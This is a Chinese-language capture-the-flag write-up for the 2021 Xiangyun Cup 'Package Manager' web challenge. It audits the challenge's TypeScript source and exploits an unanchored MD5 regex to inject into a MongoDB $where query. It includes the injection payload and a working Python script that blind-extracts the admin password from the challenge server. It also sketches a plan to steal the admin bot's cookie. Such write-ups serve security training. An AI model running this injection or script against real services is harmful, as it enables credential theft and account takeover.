[2021祥云杯]Package Manager 2021
1.下载附件,查看源码,语言是TypeScript
,基于javascript
类型拓展的超集,大概语法也和Node.js
类似。直接打开网页,配合功能点来审计关键点。
2.首先就是ini_db.ts
文件,里面记载了flag的存放位置,就是保存到了package
数据库中:
const flag = {
"user_id": admin.id,
"pack_id": genPackageId(admin.id),
"name": "Flag is here",
"description": process.env.FLAG,
"version": "1.0.1"
}
let pack = new Package(flag);
await pack.save();
2.打开页面就是一个注册、登陆的功能点 ,在index.ts
中相应的实现源码如下,大概意思就是register
功能实例化一个User
数据库对象,并将输入的数据进行查找判断并注册保存,然后跳转到login
功能,利用用户名来查找user
,然后对密码进行判断,然后设置session
:
router.get('/login', (_, res) => res.render('login'))
router.post('/login', async (req, res) => {
let { username, password } = req.body;
if (username && password) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {
return res.render('login', { error: 'Parameters error' });
}
const user = await User.findOne({ "username": username })
if (!user || !(user.password === password)) {
return res.render('login', { error: 'Invalid username or password' });
}
req.session.userId = user.id
res.redirect('/packages/list')
} else {
return res.render('login', { error: 'Parameters cannot be blank' });
}
})
router.get('/register', (_, res) => res.render('register'))
router.post('/register', async (req, res) => {
let { username, password, password2 } = req.body;
if (username && password && password2) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {
return res.render('register', { error: 'Parameters error' });
}
if (password != password2) {
return res.render('register', { error: 'Password do noy match' });
}
if (await User.findOne({ username: username })) {
return res.render('register', { error: 'Username already taken' });
}
try {
const user = new User({ "username": username, "password": password, "isAdmin": false })
await user.save()
} catch (err) {
return res.render('register', { error: err });
}
res.redirect('/login');
} else {
return res.render('register', { error: 'Parameters cannot be blank' });
}
})
3.然后进入到后台,也可以查看一下具体功能代码分析,例如初始界面给出了介绍:欢迎来到软件包管理站点,尝试努力创建自己的包并将其提交给管理员。
4.进去后就会进入渲染testUser
用户的package
的管理界面,这个是可以在初始化的文件中看得见的。大概package
包含user_id
(登陆的用户id)、pack_id
(根据用户id等等计算的)、name
(包名)、description
(包描述)、version
(包版本)。由于我们的用户没有包数据,那么就会自动渲染testUser
的包数据,否则进入/list
路由,渲染自己的包数据:
router.get('/list', async (req, res, next) => {
const packs = await Package.find({ user_id: req.session.userId });
if (packs.length == 0) {
return res.redirect('/packages');
}
let { search } = req.query;
if (search) {
try {
let description = search;
let name = search;
if (typeof description === 'string') {
description = { description };
}
if (typeof name === 'string') {
name = { name };
}
const packs = await Package.find({
user_id: req.session.userId,
$or: [name, description],
});
if (packs.length == 0) {
return next(createError(404));
}
return res.render('packages', { packs });
} catch (err) {
return next(createError(500))
}
}
return res.render('packages', { packs });
});
5.剩下的/add
路由,添加包数据到package数据库;/:id/edit
路由,修改对应pack_id
的包数据;/:id/delete
,删除对应pack_id
的包。代码就不放了,到这里就已经解释了schema.ts
文件中定义的两个数据库了,分别是User、Package
。还剩一个Report
数据库就是重点了。
6.下面这段代码,是/submit
的功能实现,虽然两个功能不在同一个文件,但是是联通性的。当我们通过/auth
认证以后成功,就能通过/submit
来将我们的包名pack_id
保存到Report
数据库中,也就是下面要执行的操作。
router.get('/submit', checkAuth, (_, res) => res.render('submit'));
router.post('/submit', checkAuth, async (req, res) => {
let { pack_id } = req.body;
if (!checkmd5Regex(pack_id)) {
return res.render('submit', {
error: 'Package id must be valid md5 string',
});
}
try {
const report = new Report({ pack_id: pack_id });
await report.save();
return res.render('submit', { message: 'Package successfully submitted' });
} catch (err) {
return res.render('submit', { error: 'Already submit your package' });
}
});
7.后面就是一个已经登陆了管理员账号的bot
,它会每隔5s访问一遍在Report
数据库中上传的包/packages/${id}
路径。
try {
const page = await browser.newPage();
page.on('dialog', async dialog => {
await dialog.accept();
});
console.log('Working');
await page.goto(new URL('/login', base).toString());
await page.type('#username', 'admin');
await page.type('#password', process.env.ADMIN_PASSWORD);
await Promise.all([page.waitForNavigation(), page.click('#submit')]);
console.log(`Checking packages ${id}`)
await page.goto(new URL(`/packages/${id}`, base).toString());
await timeout(TIMEOUT * 4);
} catch (err) {
console.log(err)
} finally {
await browser.close()
}
8.那么思路到这就清晰了,首先是管理员它会创建一个带有flag
数据的包,然后我们就需要构造恶意窃取cookie
的包,然后通过auth
的校验,最后传递包名到Report
数据库,并且让管理员机器人访问,得到cookie
,替换登陆即可在包管理界面查看到flag
。
9.那么,第一步要干的事情就是测试含有xss
的包,很遗憾有转义,那就没办法了。那就只能看向/auth
路由了,因为就算是没有转义,也得需要通过认证,才能传递数据包:
router.get('/auth', (_, res) => res.render('auth'))
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});
10.这里就指明了用户名必须是admin
,password
就是我们POST传递的token
参数,然后执行语句获得的结果要为真。那么,注意的是checkmd5Regex()
方法校验我们传递的token,这里跟进一下util.ts
文件,查看该方法:
const checkmd5Regex = (token: string) => {
return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}
11.可以发现,上面是以一个正则匹配大小写和数字一共32位,两种模式的,但是由于没有加^$
进行语句开头结尾限定,那就说明它只匹配前32位的字母要符合模式就行,后面就能构造任意的语句。因为继续往上查看,它在执行语句时,会将我们输入的token
进行拼接,然后再判断的。那么我们知道了管理员用户名admin
,再注入出密码,不就可以登陆账号查看flag了吗?
12.一开始在schema.ts
文件中,就能得到数据库类型为mangodb
,刚好能用它的特性盲注MongoDB特性注入来得到密码,构造payload:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[1]=="a
13.然后,利用python脚本跑出管理员密码,这里跑的时候也遇到了一些问题,那就是post中的直接跳转allow_redirects
要为假,否则跑不出结果:
import requests
pwd = ""
url = "http://dd1824b4-753b-442f-bfec-6db89a8b5fcd.node4.buuoj.cn:81/auth"
dict = "!@#$%^&(){}*/|abcdefghijklmnopqrstuvwxyz0123456789.',?"
header = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
"cookie":"session=s:ZHO_3HolPc0BWEJvCYZXchC_JCZVaaNU.t/5aohGDiIJLWRg+Eoqs0XSVg5gUyO8Pgr4HpZTGhyM",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
}
for i in range(50):
for j in dict:
payload = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
#print(payload)
data = {
"_csrf":"Y8aq904k-FkpeSmten96FaD8M2Ri2Ls8CeMw",
"token": payload
}
res = requests.post(url=url,headers=header,data=data,allow_redirects=False)
#print(res.text)
if "Redirecting" in res.text:
pwd+=j
print(pwd)
break
总结
这道题确实可能有点问题,因为真要按照上面代码审计的操作,应该是窃取管理员cookie,这部分可能是非预期解。